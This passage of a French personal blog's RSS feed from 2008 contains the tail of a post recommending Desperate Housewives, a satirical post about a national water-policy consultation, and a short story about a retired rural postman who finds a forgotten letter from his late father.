<p>Desperate Housewives aborde des sujets qui nous sont proches, à nous, trentenaires et/ou parents. L'éducation des enfants, le difficile choix entre vie personnelle, vie familiale et vie professionnelle, les histoires de couple, la santé fragile, la belle-famille, le voisinage... C'est riche. Très riche.<br />
C'est aussi gros, souvent très gros, mais malgré tout très plaisant à regarder.<br /><br /></p>


<p>Ceux qui n'ont pas pris le temps de jeter un oeil sur cette série, foncez pendant qu'il est encore temps&nbsp;! Vous ne serez pas déçus&nbsp;! La saison 2 est un poil en-dessous du reste. Mais ça vaut le coup de passer le cap !<br />
Dites m'en des nouvelles...</p>]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/06/02/454-le-liquide-qui-coule-dans-tes-mains">
  <title>Le liquide qui coule dans tes mains...</title>
  <link>http://www.merome.net/dotclear/index.php?2008/06/02/454-le-liquide-qui-coule-dans-tes-mains</link>
  <dc:date>2008-06-02T20:41:58+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Jeux de société</dc:subject>
  <description>...te servira à vivre jusqu'à demain matin.</description>
  <content:encoded><![CDATA[<p>...te servira à vivre jusqu'à demain matin.</p> <p>Peut-être l'avez vous déjà reçue dans votre boite, sinon elle devrait arriver, quoi donc&nbsp;? La grande consultation sur l'eau en France.
Si d'aventure vous ne la recevez pas (il parait qu'elle n'est pas distribuée dans certaines boîtes aux lettres qui contiennent l'autocollant "Stop Pub", ce qui est un drame, parce que les gens qui ont mis cet autocollant sont sans doute sensibles aux problèmes liés à l'eau potable !), si vous ne la recevez pas, donc, sachez que vous pouvez néanmoins donner votre avis en allant sur ce site :<br /><br /></p>


<p><a href="http://www.eaufrance.fr/spip.php?rubrique143&amp;id_article=687" hreflang="fr">http://www.eaufrance.fr/spip.php?rubrique143&amp;id_article=687</a><br /><br /></p>


<p>Bizarrement, c'est une consultation nationale, mais chaque bassin a son propre questionnaire. Je n'ai pas fait le tour de tous, mais ils semblent quand même assez proches les uns des autres.<br />
Ce qui est intéressant dans le questionnaire, c'est qu'il aborde assez clairement des problèmes écologiques et économiques qui vont se présenter à nous dans les mois, les années qui viennent. On sent assez nettement, par la tournure des questions, qu'on ne peut pas concilier ad vitam eternam le développement économique et urbain avec la qualité et la disponibilité de l'eau potable à un prix correct.<br /><br /></p>


<p>On pourrait très bien décliner ce questionnaire à d'autres sujets de société, comme le prix du pétrole (qui contrairement à l'eau, ne tombe pas du ciel), les augmentations de salaire des patrons du CAC 40, ... Ce serait assez amusant de voir les mêmes questions dans ces autres contextes :<br /><br /></p>


<p><em>Le partage des richesses entre les citoyens est une nécessité qui implique de réguler certaines activités humaines pour également préserver les catégories socio-professionnelles les moins favorisées. Êtes-vous d&#8217;accord avec cette proposition ?</em><br /></p>


<p><em>Les polluants et les substances dangereuses rejetés dans le milieu naturel sont nocifs pour la santé et l'environnement. Etes-vous d'accord avec les propositions suivantes :</em> <br />
- Pénaliser lourdement les entreprises à l'origine des pollutions les plus manifestes<br />
- Interdire l'utilisation de la voiture quand cela n'est pas nécessaire<br />
- Détaxer des produits naturels et inoffensifs et interdire le Round Up.<br /><br /></p>


<p><em>L&#8217;objectif est d&#8217;atteindre un taux d'inégalité et de pauvreté minimaux en 2015. Pensez-vous que :</em><br />
- Il faut réduire les salaires des grands patrons et redistribuer les richesses entre les salariés<br />
- Prélever la majeure partie des bénéfices réalisés par les actionnaires pour les réinjecter dans l'emploi et la solidarité<br />
- Pénaliser les entreprises qui délocalisent et celles qui licencient à tour de bras alors qu'elles font des bénéfices conséquents<br /><br /></p>


<p>Voilà un questionnaire qui aurait de la gueule, non ?<br />
Bon, en attendant, allez donc remplir celui sur l'eau, c'est déjà mieux que rien...</p>]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/06/01/447-la-boite-jaune">
  <title>La boîte jaune</title>
  <link>http://www.merome.net/dotclear/index.php?2008/06/01/447-la-boite-jaune</link>
  <dc:date>2008-06-01T08:47:49+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Jeux de mots</dc:subject>
  <description>Une fiction postale.</description>
  <content:encoded><![CDATA[<p>Une fiction postale.</p> <p>Gabriel était facteur. Il avait passé le concours des Postes et l'avait réussi. Après plusieurs années dans la capitale à apprendre le métier, il était revenu dans sa province natale, en Dordogne. Affecté dans un petit bureau de poste d'une dizaine d'employés, il effectuait la même tournée depuis vingt ans, chevauchant par tous les temps un vélo aux sacoches lourdes de bonnes et de moins bonnes nouvelles.<br />
Sur sa tournée se trouvait la ferme de son père, auquel il rendait visite, de fait, très régulièrement. Il lui apportait son courrier quotidien et une ou deux fois par semaine, acceptait une bière fraîche avant de repartir. Son père était veuf, à la retraite. Il habitait un hameau reculé composé de quelques maisons seulement, comme il y en avait plusieurs sur la tournée de Gabriel.<br /><br /></p>


<p>Partout où il passait, Gabriel s'efforçait d'apporter un contact chaleureux et convivial aux habitants. L'uniforme, le vélo, le fait d'apporter des nouvelles dans ces zones hors du temps, lui donnait une prestance et un rôle social qui allait bien au-delà du service public qu'il rendait. C'était une figure. On attendait son passage. On s'inquiétait de ses retards, qui étaient pourtant réguliers et inévitables&nbsp;: la distribution des lettres n'est jamais régulière.<br /><br /></p>


<p>Gréviste encarté CGT, puis SUD, il fut pendant toute sa carrière l'objet des moqueries des ses frères et ses s&#339;urs, tous partis à la ville travailler dans le privé, ou artisans à leur compte. Une famille qu'il voyait au demeurant assez peu, depuis que sa mère était décédée. Un repas familial traditionnel et annuel, l'occasion de voir comme ses neveux et nièces ont grandi, et de se balancer des slogans à la figure, entre la poire et le dessert, quand les idées ne sont plus tout à fait en place, et la retenue plus tout à fait de mise. <br /><br /></p>


<p>Dans les années 90, son vélo fut remplacé par une mobylette. Il troqua sa casquette contre un casque beaucoup moins classe, et gagna quelques patelins supplémentaires à desservir en cartes postales et factures diverses.<br />
Sa mobylette tombait régulièrement en panne, et il partait de plus en plus tard du bureau de poste, suite à une réorganisation des tournées qui défavorisa nettement les zones non denses. Parallèlement, les habitants devinrent de plus en plus exigeants, notamment sur les horaires et les délais. Il avait beau leur expliquer qu'il n'était pas à l'origine des erreurs de tri, ni responsable des pannes moteur, il perdit petit à petit la confiance des gens et leur contact amical.<br /><br /></p>


<p>Lorsqu'il prit sa retraite, la peau usée par les intempéries et le sommeil déréglé par trente sept ans de réveil-matin strident, il fut remplacé par un jeune contractuel, en voiture, qui resta quelques mois. Puis un autre, pour l'été, et encore un autre ensuite... Les petites jeunes étaient très appréciés des habitants, pour leur ponctualité et leur dynamisme. Et puis, ils distribuaient même les colis. <br /><br /></p>


<p>Le père de Gabriel mourut peu de temps après. Son enterrement fut la dernière occasion pour lui de voir ses frères et ses s&#339;urs,  et de s'engueuler avec une dernière fois. La politique...<br /><br /></p>


<p>Un jour, profitant des beaux jours et de sa retraite, il enfourcha son vieux vélo de postier que les collègues lui avaient offert à son pot de départ. Il refit sa tournée d'antan, et constata à quel point les choses avaient changé. Les vieux hameaux jadis à l'abandon s'étaient enrichis de lotissements plein de maisons neuves accueillant des familles trop pauvres pour habiter à la ville, mais trop riches pour rester en location. La vieille ferme de son père avaient été retapée avec un total mauvais goût, son nouveau propriétaire mettait la dernière main à une véranda dont il semblait particulièrement fier. Les champs où il jouait, petit, avec ses frangins, aux cowboys et à la guerre, avaient été investis par une salle des fêtes et un terrain de tennis, visiblement peu utilisés.<br /><br />
Au détour d'une ruelle peu fréquentée, il retrouva une vieille "boîte jaune" qu'il avait si souvent relevée dans sa carrière. Elle était d'un autre âge, toute rouillée, comme lui, se dit-il en se plaignant de ses articulations. Il s'approcha de la boîte, qui l'intriguait, et  mit machinalement la main à sa poche, qui était vide. Il fouilla alors au fond des sacoches de son vélo, et en extirpa une clé. Délicatement, il ouvrit la boîte, comme on ouvre un trésor, et à sa grande surprise, y découvrit une dizaine de lettres. Il regarda l'heure sur sa montre, puis l'heure de la levée sur la boîte, qui était encore à peine lisible.<br />
Machinalement encore, il effeuilla doucement les enveloppes, et s'aperçut que certaines d'entre elles étaient affranchies avec des timbres de son époque, ceux que l'on collait avec la langue. Sur l'une d'elles, même, il put lire son adresse... et l'écriture de son père.<br /><br /></p>


<p>La boite n'avait visiblement pas été relevée depuis des années. Oubliée là, peut-être depuis qu'il était parti en retraite&nbsp;? Il mit les lettres dans sa sacoche, en se promettant d'aller les porter à la Poste dès que possible, puis il s'assit dans l'herbe et observa cette enveloppe qui lui était adressée.<br />
C'était bien l'écriture de son père. Il n'y avait que quelques lignes, mais qui suffirent à arracher des larmes au vieux postier. Peu de temps avant sa mort, son père avait tenu à le remercier de ses visites quotidiennes, alors qu'il faisait sa tournée. Il déplorait l'attitude de ses autres enfants, dont il n'avait, lui non plus que très peu de nouvelles. Il lui demandait aussi, à demi-mots, s'il pouvait passer de temps à autre pour boire une bière comme dans le temps parce qu'il ne voyait plus personne.<br /><br /></p>


<p>Le facteur resta immobile quelques instants, il regarda autour de lui des arbres qui l'avaient vu grandir, certains qui avaient vu grandir son père, sans doute. Il se souvint de ce jour où son père prit le temps, pour la première fois, de jouer avec lui au ballon dans la cour. Il avait quinze ans, son père venait juste de prendre sa retraite. Il se dit que le temps passait décidément trop vite  et que les pères n'en avait que trop peu à consacrer à leurs enfants. <br /><br /></p>]]></content:encoded>
</item>

</rdf:RDF>
